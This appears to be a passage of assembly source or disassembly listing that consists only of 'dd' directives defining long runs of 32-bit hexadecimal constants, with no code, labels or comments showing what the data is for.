		dd 4C4188F4h, 0B195E35Fh, 0B0A26DBBh, 4106DB5Ch, 0B5305ACAh
		dd 0BABDD67Eh, 0A09DC796h, 0C1FB091Fh, 0AB3D51F4h, 0AD3954CCh
		dd 9A7776A1h, 2F803DEFh, 9A18B803h, 5C359E1Dh, 2BE69725h
		dd 0E4649CEh, 0C7651903h, 0FEE7C54Fh, 6D1FD3B7h, 0A509FEA4h
		dd 78496257h, 0CA39306Fh, 7535824Dh, 596A4542h,	6E099FC1h
		dd 2CAFF101h, 0E8299D00h, 0E024EFD1h, 0E2887F77h, 0DD7A6B8h
		dd 0CFD6A9D3h, 0D5FAA306h, 7BCADB5h, 584BB21Ah,	0F82B335Ch
		dd 4AB68BB5h, 89ABA92h,	0B0001E08h, 0A818DAD8h,	3E59408Bh
		dd 320D012Ah, 0BC207191h, 779CAC41h, 7EC3CF89h,	5BC25B85h
		dd 442563EAh, 0ADCB8231h, 6D7EB5DBh, 82671A54h,	917FE602h
		dd 537E255Ch, 9E64BE99h, 0CF2B033Eh, 81897AF2h,	708077A7h
		dd 0EE23F2AEh, 0D1834E32h, 3063C994h, 0DA773C5Bh, 6614B274h
		dd 70A76556h, 5144E26Dh, 0E8291679h, 0C493D699h, 26D4A500h
		dd 0BC8DA43Ah, 0DD45D77Dh, 0AD3D6C6Ch, 95BF07E5h, 67F5D38Fh
		dd 7679CC38h, 0A008B27Ah, 550928F5h, 8EBE8F67h,	1EEA1171h
		dd 0ACAA06B8h, 947D95ACh, 2227190Eh, 0A18E4846h, 525F4368h
		dd 2CD23B1h, 372E08B1h,	27BC407Eh, 0D0A191E4h, 0C9E56E6Eh
		dd 81CE3B49h, 0E40CDEA9h, 0E83706BCh, 0B9020284h, 81F552ABh
		dd 0C910284Bh, 0F47C727Eh, 99E9F2Bh, 0FF5538D5h, 0E6248ED6h
		dd 0CE56F4D4h, 0EE9E1880h, 2A843457h, 7738881Ah, 76869C1Ch
		dd 17CB5FD7h, 77CDA6C3h, 0F04EA899h, 0D26D101Eh, 7E8FAEABh
		dd 3FE72638h, 0F8AF1A3Dh, 0EDB7D6B6h, 78085149h, 0ABA0EEE8h
		dd 894261C3h, 0B3228453h, 0A484A226h, 6E8641C2h, 18B5F05Fh
		dd 0F05C3BC8h, 581DED52h, 0D5434CFBh, 82D7BBCEh, 30FA41D3h
		dd 696329A5h, 0E94D0CC4h, 0CB6C3599h, 0AE22A28Fh, 0AC5A1A9Bh
		dd 304DD54Fh, 4E0FB74Dh, 76AC04EEh, 969647BCh, 4159336Eh
		dd 0DF5CA479h, 96EAA71h, 9A051ED7h, 74523719h, 918B4A8h
		dd 0B9CFB4E5h, 170C5E2Bh, 0E5413884h, 7E5DD03Ch, 2EFF0288h
		dd 5600B8CDh, 0E73D37E5h, 0B10DCDCh, 6AC493C8h,	12CC6B38h
		dd 0F6579672h, 0FD8F91Eh, 0FD0C7F83h, 0D71A571h, 0E985B465h
		dd 0F2671FB2h, 0B9DAC8DEh, 38BFAA52h, 0DF0FE2Ah, 70D5F67Ch
		dd 0D62E3602h, 0F55E75FEh, 0D93337F1h, 363986B6h, 1D845808h
		dd 0A50A27E3h, 7C505664h, 351FBD06h, 0D0A6B57Dh, 3A1232CEh
		dd 4237196Ah, 5245921Dh, 15A2E557h, 2BECCDE2h, 3DD0A337h
		dd 0C1527773h, 0CE36384Fh, 476B827Bh, 26466556h, 49EC9212h
		dd 0C129340Fh, 28FFF1CFh, 1225F4FEh, 2FC6A281h,	0A386C7DAh
		dd 0EE77BE76h, 83F62DBBh, 0DBA555F5h, 1F87F265h, 84F607BFh
		dd 444B5641h, 0D8501CE8h, 0B06520A2h, 1E4090CDh, 0BEED6E93h
		dd 90459F92h, 7E14A8EBh, 7B32DE8Ah, 0FE80917Fh,	8C4B8A1Ah
		dd 8F5D1900h, 0D7083668h, 0D0B1A33h, 64C19F46h,	53987AA9h
		dd 4B3239Bh, 9414B9F8h,	9EB00C69h, 995585A4h, 0A5F02356h
		dd 91B312F4h, 9874E7EAh, 0EC11A3C9h, 0F2052625h, 830C1B36h
		dd 0FFACA672h, 0E1572084h, 33C06D88h, 0C2E87071h, 78C843FDh
		dd 0B3E2AA28h, 0AEA98535h, 4C112C83h, 4A759628h, 0F1043117h
		dd 6AC15EA1h, 22872CA4h, 7BED6262h, 40C38385h, 51B1318Fh
		dd 4C36E7BBh, 517B1F73h, 4F52801h, 645B4285h, 0A9A259A4h
		dd 5A99CA49h, 0D3D8A806h, 3012F615h, 47318CAFh,	0A344B436h
		dd 649B5833h, 5372166Fh, 63F6A071h, 233CAE9Dh, 8A84D696h
		dd 0FE9AB87Fh, 2E25B735h, 0FCEEA754h, 3FE91456h, 549FC009h
		dd 0E090B1FFh, 92FFE98Fh, 0BD916F80h, 0A59736D9h, 0A28008DAh
		dd 3B95166Dh, 0CC5DDD06h, 2F91F4DCh, 223DAF0Bh,	0AD898DEFh
		dd 67989470h, 7F2BEB34h, 0B6B40B5Bh, 5707128Fh,	29D8FA95h
		dd 3D49F45Ah, 0D91C98EBh, 52B9DF22h, 0E2E520F1h, 0D06CE43Fh
		dd 0CDA73A1Fh, 0F8E59BC9h, 0D85F5099h, 7045F461h, 0BD167872h
		dd 95E40900h, 0E2323629h, 62DC32E2h, 32CAB302h,	1EED121Fh
		dd 36B0E382h, 50651547h, 58422863h, 0C9CEC556h,	0D919971Fh
		dd 25820A43h, 0FE28E8A7h, 9D2571AAh, 93640CCDh,	65B3E806h
		dd 3271743Ch, 0BE27CE41h, 7C20E744h, 0B9D27824h, 0A8E17769h
		dd 0B6967614h, 8C33B5E3h, 0E8B03D0h, 181040F7h,	0AE4DD477h
		dd 1FD4D08Eh, 1E8B5CC1h, 0DFDE729h, 1068774Eh, 441D2263h
		dd 0D16CF004h, 0E13F09F1h, 865802EEh, 7AAB7A24h, 38F591ECh
		dd 6295AE62h, 0D688D833h, 0E3E129FFh, 71A5D0A3h, 1562EF41h
		dd 83BA9A8Fh, 41755418h
		dd 0F011151h, 6565CF44h, 420E32E5h, 0B2C56167h,	0D059BE9Ch
		dd 0D432E8E6h, 2E247F0Ch, 9598AD0h, 3B3AE964h, 0F2B6FD1Bh
		dd 0CF0DCD2Ch, 4B4596DFh, 0AE83BFECh, 0C850AD56h, 52A10401h
		dd 736A1C47h, 9A2C42FFh, 26439C6Dh, 29E26B10h, 0B641FF3Fh
		dd 0B196807Ah, 0CE8661B9h, 81036649h, 1080EF87h, 0E3EF6BA5h
		dd 0C44FEDF8h, 0F8EBF10Ah, 40D2E972h, 0C112D7C2h, 944E57Dh
		dd 0AB20D30h, 22B960AEh, 309E3C7Bh, 0FA59D616h,	0CA2C0742h
		dd 0F09ADF53h, 0BABA0B9Ah, 0E2842F81h, 3A016FC2h, 859878D7h
		dd 0ACEEB996h, 96B18E9h, 0B6034643h, 97F62EE3h,	0EE4EB43Ah
		dd 0BDC34BD3h, 250683C6h, 0C357060h, 0B341B3C2h, 9F635A62h
		dd 6E4248F3h, 0E22746B9h, 75B9C800h, 2A2A5956h,	0DF87DB56h
		dd 870F8504h, 0BBFC2CD7h, 8CED4418h, 29665C05h,	0A1A1B8BAh
		dd 12BDEDF6h, 29E8AFB8h, 0E670B7Eh, 4282FB56h, 0CD8512CFh
		dd 552F9380h, 236298F6h, 24A179A2h, 8A391426h, 4FE9E776h
		dd 1DDC4B3Ch, 0D32D46BCh, 9E682659h, 0CDF33729h, 6C9D6F82h
		dd 4EA831E9h, 0FC00B9C5h, 1934FB4Eh, 3FDC8A51h,	0F98C6C6Fh
		dd 663C6D94h, 886754F4h, 0BCC4312Ch, 0C6FF68E4h, 51CD98CFh
		dd 0AF98EB1Eh, 125623BAh, 0D6212A01h, 0BA9BA861h, 946D3597h
		dd 97BD6AABh, 0F9AE5B24h, 0BA203836h, 4164899Ch, 121D4D96h
		dd 2446BDF0h, 1714550Ah, 0EEF95BD2h, 60FE7377h,	4C3B6FA2h
		dd 6B8BD260h, 0C56B6748h, 7CB20407h, 0A98A6291h, 0B91CB9D7h
		dd 0A7CDA04Ah, 0C148489Eh, 7499E073h, 10DCC027h, 99A48B71h
		dd 2F40EA92h, 14B740B8h, 0AFA6DCB4h, 385B9DFDh,	5371F612h
		dd 0C368DF0Dh, 352EC6ECh, 835DE0B6h, 0A7851BC3h, 371EEE7Bh
		dd 444B0FB4h, 46CA0463h, 9E1EEFF7h, 14FF87AFh, 3BEE5D64h
		dd 21C3BEDDh, 0DE2F55A5h, 9BB08EA2h, 0CD4AD6A1h, 0DA5AE119h
		dd 5F15291Dh, 1E943C3Fh, 0A5A07124h, 4C7E68A1h,	20B31624h
		dd 50FF5B9Ch, 280DFC2Dh, 266E3EA6h, 4427E415h, 75A9B3F4h
		dd 880EE6B3h, 33D3D04Ah, 0E2AC9B28h, 0D769CA47h, 3DCACAFBh
		dd 0AFD04A4Dh, 33934F2Dh, 413AF7B0h, 32D56D73h,	677AE7D4h
		dd 0BD7C13BCh, 0D0083955h, 91FC7FA1h, 0AA4F680Eh, 1B7B6F32h
		dd 39CD9868h, 905AE8E7h, 0E1531728h, 9D84023Dh,	1046F53Eh
		dd 0F572986Ah, 2417A317h, 79784B45h, 0CB89E25Ch, 7449F445h
		dd 0B0A0813Ah, 0DBB62C6Eh, 0FE4DEDD0h, 0F5FB9C30h, 2CDD94C9h
		dd 0BAE71442h, 94EADA97h, 510AD94Ch, 1108E294h,	16CB1169h
		dd 400EA670h, 1756C734h, 41E250D2h, 0ECF2051Ah,	699FD549h
		dd 3B0EC02Ah, 4DA48FB9h, 0B8B0B8DEh, 4B1E34E6h,	90D06A00h
		dd 0EC4AAFC9h, 78477B25h, 493699DFh, 1345A83Ah,	0D59BF6CEh
		dd 705D46Ah, 8465D709h,	0E3AB3AE5h, 467A7Fh, 8B97A61Ah
		dd 29A297EBh, 0C064EED1h, 0DEE805FBh, 94682234h, 0BE818B12h
		dd 0CA07D541h, 0FA1D90DFh, 3814C9A5h, 9C1573ADh, 0FB9D3893h
		dd 866CB85Fh, 0C37E60BBh, 0AB1A1D98h, 5134FF7h,	0D3573604h
		dd 9F28F3ECh, 0FA7D47EFh, 317AE41h, 32242456h, 8F4F939h
		dd 0FD3FA0FAh, 27139C98h, 0CC71FAD9h, 3C600C3h,	7E8B48A5h
		dd 181B85CAh, 51054FD5h, 0C3528387h, 54BF4D70h,	0B041B3EFh
		dd 0C55E21h, 0DBD830Ch,	999C5E63h, 80FDE6EFh, 0F1F30175h
		dd 9B162EBBh, 0B0E87833h, 621CFEA8h, 336CB302h,	832B11B0h
		dd 3BAD757Bh, 4A994169h, 15BBAB4Ah, 45CA7A3Fh, 0A796A992h
		dd 72EA1FDDh, 0C6A82847h, 0FB8ACAFAh, 58ECCD12h, 0B08378Bh
		dd 0A2E0885Ah, 5EF40A5Fh, 0C3122314h, 85311FFCh, 0C238881Fh
		dd 8A0F0446h, 61F57C69h, 0BDC5D783h, 347A16A4h,	0A3D2E2FFh
		dd 358BB8D1h, 330D122Fh, 3DF38CCAh, 392E8AA7h, 4FCE4C64h
		dd 6E953B40h, 0C242487h, 0E3288C17h, 0B6DAE82Bh, 57A0551Ah
		dd 0AA100E39h, 0DE58906Fh, 9ACF456Bh, 0F0367C39h, 957FCC24h
		dd 0D3F710Eh, 3899F2E5h, 0ED32906Ch, 344FF65Bh,	0C125DF16h
		dd 0A5CE06EAh, 0C7D15243h, 0E3CECF3Eh, 2EC8880h, 0F3FAF7E4h
		dd 0EC96C869h, 0A426F668h, 86BE63D7h, 9C7C893Ch, 94F66BB9h
		dd 8CC15FC9h, 24837EB9h, 0CF09EBD9h, 2631766Bh,	62F7B169h
		dd 0DD2343C3h, 2469845h, 77191D63h, 4DE581D3h, 0EBDAB140h
		dd 4610C82Bh, 0C470D6D9h, 462B0030h, 0FF74F16Ah, 8D1A061Fh
		dd 6A910A36h, 0FC0D396Fh, 78A82CF8h, 11374A1Dh,	543B4293h
		dd 8693BC0Bh, 0FC66DC86h, 68610ADFh, 0A97BF769h, 0B2E490A7h
		dd 0C0AB736Ch, 7670306Fh, 0AA5B30D0h, 5396FAC0h, 7D847820h
		dd 632C2CEAh, 0EC460A19h, 0D2A9E594h, 0BB146C9h, 0C23907BFh
		dd 0E9BB8A06h, 6D7E8742h, 81377768h, 0D99116DCh, 9010A361h
		dd 7792261Ch, 68FF8D8Fh, 5B793ADFh, 0E1AD487Eh,	7A4D767Fh
		dd 80E9FF04h, 4BA48363h, 0B5C28F09h, 4DA6C9E3h,	25A0A59h
		dd 68495024h, 932AF577h, 5D065CB0h, 82DF8716h, 0CE1EAACFh
		dd 0CA97C77Eh, 978DAEEEh, 690A95BCh, 60890930h,	218309EDh
		dd 0B30D8D3Eh, 9FE6AEE9h, 1449DFEAh, 5C95C0h, 2D69181Ah
		dd 9BFFB245h, 97AD1FB9h, 417C270Dh, 0F88C819Eh,	0C910798Ch
		dd 0D96CE49Ah, 0B9AB8F38h, 4E44365Bh, 98128939h, 9F48CC89h
		dd 68D66129h, 0BC64C22h, 28E079F6h, 7ED1ED68h, 0DAA5D909h
		dd 0A8DCBC2h, 7EAB518Fh, 9208958Ch, 51EE422Dh, 6CE180A9h
		dd 8DF34785h, 0C69D0D19h, 0D7D701BAh, 5A025686h, 0D43D74BDh
		dd 0E72E6A90h, 0BF883648h, 0D83D5238h, 0D8FD332Fh, 0F5467AA3h
		dd 0AC48AC7Bh, 9A5057A7h, 2A0E15DEh, 0AD90A9B2h, 1F86D775h
		dd 0FFEF6FFh, 8AD04F2Bh, 0B198C4B2h, 9D5E6FFFh,	0FBFDB22Ch
		dd 0B3E8A171h, 7BCF4878h, 0D2863299h, 17AA548Dh, 0AB8D0D15h
		dd 3C2F85FBh, 0AD8CBAEAh, 0F2E6F527h, 0F54A1E38h, 6169AFF2h
		dd 0D0426E02h, 0EB1856EEh, 404CFAE4h, 96B3CA8Ah, 9368B674h
		dd 0A4B46A4Fh, 0DBD4B7FAh, 6FAE53Bh, 545B2849h,	7D6D9130h
		dd 0AC8B57A3h, 0E0E95C3h, 1684E9D2h, 9BA0CE8Dh,	0A26128DDh
		dd 0D6B8FC3Bh, 4ABB9A6Eh, 0F43AED05h, 0C9008702h, 8481E3FAh
		dd 0D5A95F5Fh, 29772B6Bh, 0A150044Eh, 7FFAB844h, 95090D51h
		dd 615CF747h, 7F169C8h,	921C5CE0h, 5D2BA901h, 20D58645h
		dd 4C2397B5h, 0FA626E5Bh, 64087D5Bh, 7BB57749h,	544A8204h
		dd 0EF3AAD6Fh, 4874172Ah, 1076538Ch, 196BE2AAh,	0D0156A58h
		dd 0B29893D2h, 8FB205F4h, 41E66DBEh, 0D8C9C351h, 0DCDDD693h
		dd 6745D0ACh, 90DFF6E6h, 3920BDAAh, 0AB2A9626h,	53B09942h
		dd 0D2ADD282h, 174B5F84h, 0C02D5E75h, 0CDD457D4h, 38EF46Eh
		dd 0F2F8E751h, 407A6976h, 9404A88Dh, 89B476D9h,	0A824425Ah
		dd 44737B74h, 9946E7A5h, 0A796688Dh, 0BE8FBB67h, 554798BCh
		dd 0CC429034h, 0D543BC01h, 5013305h, 2E686AE3h,	0D7E4585Fh
		dd 0F56B5FCEh, 0C388DF1h, 9343D7F5h, 7E4A765h, 619496AFh
		dd 48B8D4E4h, 0FA721D9Dh, 3F2DB970h, 76D9D08Eh,	5A3C5AAh
		dd 0F36BAB0Bh, 3F8C5983h, 7E2FBA5h, 36B047B5h, 0F6E09EE1h
		dd 0B8174D0Dh, 0BDC6E94Fh, 0BB9BE660h, 1331C41Eh, 9463CFBAh
		dd 657AB272h, 0DDF80E1Ah, 64DD0218h, 0EB570F59h, 535AE3D3h
		dd 0D97FE494h, 778BE90Eh, 456FACE7h, 0EB113682h, 41789C26h
		dd 1C4F324Ch, 0D016B7D1h, 51F993A8h, 365CD0B8h,	9A355F20h
		dd 45EB9BD6h, 90A476E6h, 2370DB30h, 7B96FCh, 0FD8D0DDh
		dd 0AA85C685h, 84755587h
		dd 3158EFEh, 0D126BFBCh, 2D7692D7h, 990561E3h, 0C90D6839h
		dd 0FFBDFFCCh, 1937337Bh, 3AAAF8Ah, 2548E0Dh, 0BCFC6EECh
		dd 0DA959AB9h, 2803955Ah, 39FA40ABh, 5D274541h,	7CAF1BA3h
		dd 2436D742h, 3C242F0Ah, 7191E277h, 53D4299Dh, 47862DAEh
		dd 7380209Ah, 0DB6AB43Dh, 44D1B93Ah, 638D0947h,	0B24BA7D6h
		dd 1F3E2F20h, 3B91958Fh, 2FBA96h, 7EB2D527h, 26B53A06h
		dd 0D4AD1C6Ah, 0B6AB3E3Eh, 0BDE724F5h, 3BA4A6A2h, 0F9A5E5A7h
		dd 0A81F8190h, 68D28325h, 0D30EBB74h, 850BE4DEh, 0B1193A61h
		dd 0F32205DFh, 16BB364Fh, 5FA7F697h, 0AB3812B5h, 58F4E8BDh
		dd 9C3A3DA7h, 0AD170C7Bh, 5FD47BD7h, 69CDC67Eh,	0E5036360h
		dd 34E88DBDh, 2233E719h, 536DAD2Fh, 1AE1B9h, 3D841CB0h
		dd 0E18AEECFh, 0BBED380Dh, 7D376B33h, 0F3A62CE9h, 6740C492h
		dd 13176E0h, 7DF67156h,	130C2BC1h, 0DC4800Ah, 77D6DA90h
		dd 2F750857h, 4751409Ah, 72B13F9Bh, 87DB04FAh, 94671F1Ch
		dd 0C83EA44Fh, 97778C4Dh, 74F7C08Ah, 4E772F35h,	7CDDB0AAh
		dd 0F9F955Fh, 0FA0592E8h, 0B71D7B30h, 26DDE364h, 4B533DFCh
		dd 44FDEC2Fh, 0F790560Bh, 3FF8EDA9h, 0AC0F1DB1h, 0E438A15Bh
		dd 4A4A21h, 725A8D58h, 0FADB626Ah, 841CCCECh, 2DFA025h
		dd 43577B53h, 0C3399C2Eh, 18CC4DEh, 443A72E9h, 0C2E82E7Dh
		dd 0CA672A89h, 774B8563h, 0F28C9F5h, 16A19C89h,	33598D6Fh
		dd 0FE7C111Eh, 42C8E6E9h, 5A51F5EBh, 385FFA04h,	5832CEFDh
		dd 5683A121h, 60C9B4FAh, 24BAE97Fh, 56E8A0B5h, 590B41Eh
		dd 0A7EEF713h, 0F65B593Ah, 9D3FBAC1h, 60E635AFh, 85043CD3h
		dd 0C66F560Dh, 6B6BADD6h, 0D4BE0B62h, 0BD93DF36h, 65969D58h
		dd 10AC1DFDh, 4454C7FBh, 0B15A82Bh, 9D767A98h, 0DD338467h
		dd 0A2080D8Ch, 0F37E839Fh, 0CF5D004Fh, 0C2D754E1h, 0ED3B02DCh
		dd 7F71DEEEh, 57E80BDAh, 0EA92DE29h, 0F4BB6098h, 992C30FEh
		dd 0CD963ED1h, 0AFB18D47h, 2A886022h, 70DF027h,	0CD541D79h
		dd 5DF5C057h, 0E9A245D6h, 0A87DC022h, 7B95F949h, 7C0B4062h
		dd 3D4CA774h, 5F901099h, 621AE801h, 0D385DBC3h,	0A1249F0Ch
		dd 5542E731h, 4E07F6C0h, 3E90E95Fh, 0A8D451B0h,	0A5DD9092h
		dd 0EDB94481h, 0F76D5E93h, 500D8CBBh, 19C1FDEBh, 0EF198D81h
		dd 0F27D333Dh, 221290C5h, 8AE8A17Fh, 153A1A0Bh,	0BB50CCAh
		dd 0B53D445Bh, 0EB75A8BFh, 9F2A7E49h, 0D8123778h, 5A2EAAC3h
		dd 6EE789EAh, 0EF35FEFFh, 7BA1E86h, 0B2EAAF71h,	8DB29DF5h
		dd 0F51BC098h, 775149C3h, 0BBAE6E95h, 1EE1D917h, 0AB8B1D97h
		dd 0E5D41EEBh, 752B2C92h, 486BC0BBh, 0CD5BF0E7h, 0D6FC7298h
		dd 0F156484Bh, 0E9C37436h, 0D4D7180Bh, 0D721E2CAh, 0C9F854A1h
		dd 5B6588ECh, 0B88FA824h, 45D60398h, 3D21525Ch,	949A95B7h
		dd 4C1A56CBh, 0AC568C87h, 8D8370BBh, 5EF8672Eh,	858D9EAEh
		dd 0B07AAC11h, 0FA7A9796h, 0DAE765B4h, 36EECADEh, 0D09866A6h
		dd 97374D31h, 0ABE1F78Bh, 0F5A62090h, 5440F149h, 6C2E4786h
		dd 0E4301BC8h, 6CEBAD39h, 0D4F97689h, 0D00343Eh, 7BF3D6E3h
		dd 0F81EE9D6h, 0A65BE922h, 72545D9Fh, 9E97F5FCh, 6B8B86B1h
		dd 0D76328C6h, 352AEC0Eh, 0F0CBB5B5h, 0DE538800h, 24E8C30Fh
		dd 0FF9CD1BFh, 2BE3896Bh, 3ECE42ABh, 0F0D4E144h, 2BC9A0EFh
		dd 0C7500B0h, 6B6EBDADh, 0F8F7F15Dh, 6E6F48EAh,	8118413Ch
		dd 32A1F2A1h, 64621F9Eh, 0C48564A6h, 0C4700B83h, 0A7E30B14h
		dd 159C1948h, 6AA85443h, 4989D803h, 5C29BA64h, 0F07DBF13h
		dd 87FF5A23h, 0AE4F3EEEh, 2691FEECh, 37EE6941h,	1CFAC3EBh
		dd 8D538628h, 38CBB1Eh,	61F08516h, 0BCE78EDAh, 5B83B103h
		dd 0AFDFDC78h, 80C442F6h, 0F05050C8h, 0EA67558Dh, 0AF99156Fh
		dd 9206C368h, 0F3715549h, 2B8D90B9h, 0AB49A69Fh, 7443B417h
		dd 2CFDE0D4h, 8E2B5DF6h, 99B7E561h, 9C03B2D9h, 1721FA34h
		dd 0B8188F08h, 7E457112h, 5489075Dh, 9C12BCA5h,	0D1E9B94Fh
		dd 0B5213B2Dh, 6A7B3BFBh, 0A8BEA903h, 4E10C07Fh, 0F5CEE886h
		dd 0A6D3DBBBh, 6F01A11Fh, 0DAC57214h, 3C8FA4FEh, 0DE74B472h
		dd 346C8A3h, 632D7A8Fh,	0B41F09E8h, 1B623060h, 0F4D763BDh
		dd 0B156BBBAh, 3528A2EFh, 2FAFC19Bh, 18F479F9h,	0AD135A1Ah
		dd 0E6DC17F4h, 5A775CA6h, 0EF91D7EBh, 533B989Ah, 0D121E389h
		dd 6FB20386h, 95EA89Dh,	6EFE7987h, 0E0B8A4A2h, 0A9F6285Bh
		dd 781336D9h, 244FD7B6h, 3C235A25h, 9FD310C6h, 185A92B1h
		dd 542DA2E1h, 8A2FA7AEh, 7595DD27h, 0A454C76Dh,	0E5FD85CEh
		dd 57D296EEh, 0E7387034h, 9BA61DDh, 253F1C0Ah, 903B4194h
		dd 45E2BDD3h, 0D112B1C5h, 3DDD57EAh, 89B7C4E5h,	48411724h
		dd 18DFBC7Bh, 0F97273B0h, 55335C9h, 0E0A0E153h,	0BE887231h
		dd 0C3050283h, 6F910C0Ch, 0BB6D8105h, 0ADF524F3h, 46C5DC47h
		dd 0A660DE68h, 7B7FAD30h, 452D532Eh, 0EB8264AFh, 70A269FCh
		dd 0BBE33057h, 0BEC3C7B6h, 67798936h, 68E7BA6Bh, 59FA20h
		dd 0FDCF93DEh, 2B450471h, 0E26C2768h, 0C466B6D0h, 0BCB29F7Dh
		dd 0D0943834h, 0DC64DE2Eh, 8233D66Fh, 0C5CFB5E7h, 0FA750B52h
		dd 0D2177F74h, 0F1B1A90Ch, 988D7C23h, 0E75420Ah, 511C5C04h
		dd 7F5C01E0h, 0C4B6E15Ch, 0AE697D8Ch, 3B725035h, 2A39F1E6h
		dd 0E083CFF9h, 0E7938928h, 0F69D632Bh, 0C83B24A2h, 0A11D291h
		dd 856DEE6h, 0A38E1261h, 0B238656Fh, 191E1A74h,	0A1AF4BE3h
		dd 0BE9CC0D7h, 0E20290Fh, 0EC66AB20h, 63925C1Dh, 9BBAE6D9h
		dd 168EF9A3h, 0D81AC699h, 540B442Bh, 874A7527h,	0EE4FB16h
		dd 55A55F4Eh, 0A563E968h, 0A0EF29DAh, 612D8984h, 0C5F74D86h
		dd 0B15156E4h, 9F829ED0h, 333DE522h, 1823CE4Fh,	13A26D03h
		dd 0E42FB16Fh, 39EDD60Ch, 91933F17h, 0E1D5BC7Eh, 85EA9A71h
		dd 0B69F610Dh, 34CDBB8h, 1F2B3974h, 1389DB0Bh, 2C520DC3h
		dd 0F553EF4Ah, 0F0FB91F4h, 0C558718h, 39F9C15Eh, 0F8821BD4h
		dd 0B5557560h, 30DA853Ch, 0C214BCF9h, 76C8CCF0h, 1D3DC10Ah
		dd 450EEB0Fh, 9F14D145h, 0B7B9E28Dh, 0E88E89EFh, 9EDEA8DBh
		dd 0A64ACCA5h, 0D7886B22h, 0D59FA86Eh, 8BFCAE5Eh, 0E12A5605h
		dd 514A681Ah, 0CFF63E91h, 7FCAB65h, 704293D6h, 3F9F5CDEh
		dd 81B92947h, 95CEDE28h, 0F9E552A6h, 0B61D06D3h, 576C326Ah
		dd 6D18BCC8h, 48761DF7h, 49C6F7CFh, 93BD7FE2h, 0A49A01F8h
		dd 0ACE6AFBAh, 42D64254h, 2D71AB83h, 431D2FFDh,	0FE61C60Eh
		dd 53A6A171h, 532F4ABEh, 87A95F7h, 0B9C4EAD1h, 377F81C6h
		dd 8E4D215Bh, 0EB387C68h, 96B00EBAh, 0E4126668h, 3752CBABh
		dd 7C8DCF0h, 0BAABC522h, 0C08D33A5h, 8B9E5F6Eh,	6A9160Ch
		dd 0F1A518B5h, 934C5BA2h, 0E57EB412h, 1BD727A1h, 0F789B774h
		dd 7AE9C71Ah, 2F774C1Bh, 1FC1E22Dh, 0EFCD028h, 8E870F93h
		dd 0FCCE9F4Bh, 0C4990BEAh, 0FD1D6A79h, 0CA66347h, 958B6AD4h
		dd 3DA2EE62h, 0C1C1939h, 0E954B438h, 0C1F47B92h, 0A1054326h
		dd 7A44FC07h, 0E28BC3CFh, 0E433FE12h, 0D230A2EDh, 29B5E82Ch
		dd 2FD12B6Ch, 28F3D14h,	68287320h, 0DA48D36h, 1227568Bh
		dd 0F4ED85C4h, 0ABF1E2B9h, 10AC3738h, 217D98F5h, 0BDAC70E2h
		dd 0B3D4286Eh, 86F4C4F2h, 0BC2E357Ah, 0C52B295Fh, 4D4B5F51h
		dd 71C06386h, 8AA1C392h, 0B7FA02Eh, 0C3FBFF61h,	2D5416DFh
		dd 0A0692704h, 0F4879778h, 97E63F99h, 3B1E1D4Eh, 0E40CA4F0h
		dd 69068227h, 721D122Bh
		dd 74EF4621h, 94A9760Ch, 18B92721h, 9EAF2213h, 460C5492h
		dd 0F6922336h, 0BF4BE509h, 0F8614E78h, 96E3066Ch, 2FC98442h
		dd 21E92F82h, 0F74308D8h, 42286B8Fh, 0DD813EA8h, 4B9BB63Bh
		dd 38B46CF1h, 87D57629h, 59476C4Ah, 7707EC77h, 0DBA4A804h
		dd 6331FC14h, 0A92376D9h, 5817C048h, 3B5D48A6h,	0D4661A19h
		dd 127F72EDh, 7001BCECh, 0AADA29C9h, 7E8F76D0h,	6000CAE9h
		dd 523C05EEh, 811F0434h, 0F2076579h, 0FD085274h, 57CF19BEh
		dd 823E2043h, 0D1CAF587h, 29E571A9h, 22AF2387h,	2E0FB2E7h
		dd 61ABD887h, 6E44C983h, 0FF2057E5h, 61884375h,	0B14F2D79h
		dd 9925A48Ch, 5E9A60F7h, 73815AAAh, 58C18E02h, 0DE98AC03h
		dd 0B7EFFEB9h, 0A3BDCC96h, 0F57AB563h, 8B377268h, 0B192EDDBh
		dd 8024C64Eh, 0FD0107A6h, 12439190h, 0D539CF7h,	60BF576Ah
		dd 619FEE76h, 96E4C9D8h, 0A3CD4F48h, 0DD262B66h, 34C3F002h
		dd 0CBED83C0h, 91288472h, 909049C3h, 9B5D3C00h,	111065D4h
		dd 60159EAh, 28CD11B2h,	0D7E2043Ch, 0A687C2BBh,	7D209B28h
		dd 0F1D5EBC8h, 18F99A84h, 6EDDE730h, 0FEDE0968h, 357E18Ah
		dd 0E60C8EECh, 0BBB3805Eh, 258B7BA2h, 0A3A82B3Eh, 2CB5580Dh
		dd 0F0E01022h, 4B5CC260h, 1B4E19E6h, 0D933313Eh, 7F294CD6h
		dd 6599C0A0h, 9AD112FAh, 8A5E9AFDh, 0B66B89D9h,	4FB0E86h
		dd 0FF575411h, 59E8F56Dh, 0CC31FFC2h, 3E1C5B74h, 0ABCFAE05h
		dd 1C14547Bh, 0B227D53Ah, 0D3380E39h, 0D8FC2979h, 99D472Ch
		dd 92BD2A2Fh, 903B7080h, 0A27EF064h, 26F377ADh,	0F0EA94A6h
		dd 868047A3h, 755F9999h, 0E99FD231h, 0F03E203Dh, 782BEA06h
		dd 0E9D5DB80h, 6A795FB3h, 8F3A21DFh, 60B6DCBAh,	659EDC33h
		dd 80C62DD6h, 83189B88h, 5F5DD06Eh, 7DCFCD1Ch, 0B631E703h
		dd 23083EBFh, 0A05366A3h, 0ADE09411h, 3A22CF42h, 0B92E9DE3h
		dd 716AB0ABh, 1813B40Ah, 0F36BCACCh, 7ACE9D4Fh,	0E12973C2h
		dd 0FC79630Fh, 0AB1A2774h, 1ABC42E6h, 0E41B00D0h, 667C80BEh
		dd 0C685333h, 6FFCD191h, 248400FEh, 2B250C5h, 0EF9A2816h
		dd 5849193Ah, 79841C83h, 7C984B44h, 7D537B78h, 0A96E3F12h
		dd 0F8BA6320h, 2DB78B8Eh, 0D1E83668h, 5C2060DFh, 0F3BAB4C0h
		dd 860B2D7Bh, 0F74E0580h, 0A78A091Ah, 0FDCEC1D0h, 0F8DA73E1h
		dd 26A85777h, 51E07E04h, 6B8BD83h, 19C45BBFh, 0E570FAFCh
		dd 5C063D95h, 5B61CF7Ch, 4E9B7B1Dh, 0FE6DE676h,	3A9B81C3h
		dd 0F786E2F5h, 5A6A1145h, 7DBE32EDh, 5478E88Eh,	0CB4A684h
		dd 7A21FF83h, 1646BB43h, 73B437Dh, 6EEF1CFDh, 0E4C82093h
		dd 8818C38Dh, 52A87785h, 3549D14Ah, 0D9BC01D8h,	0B298C000h
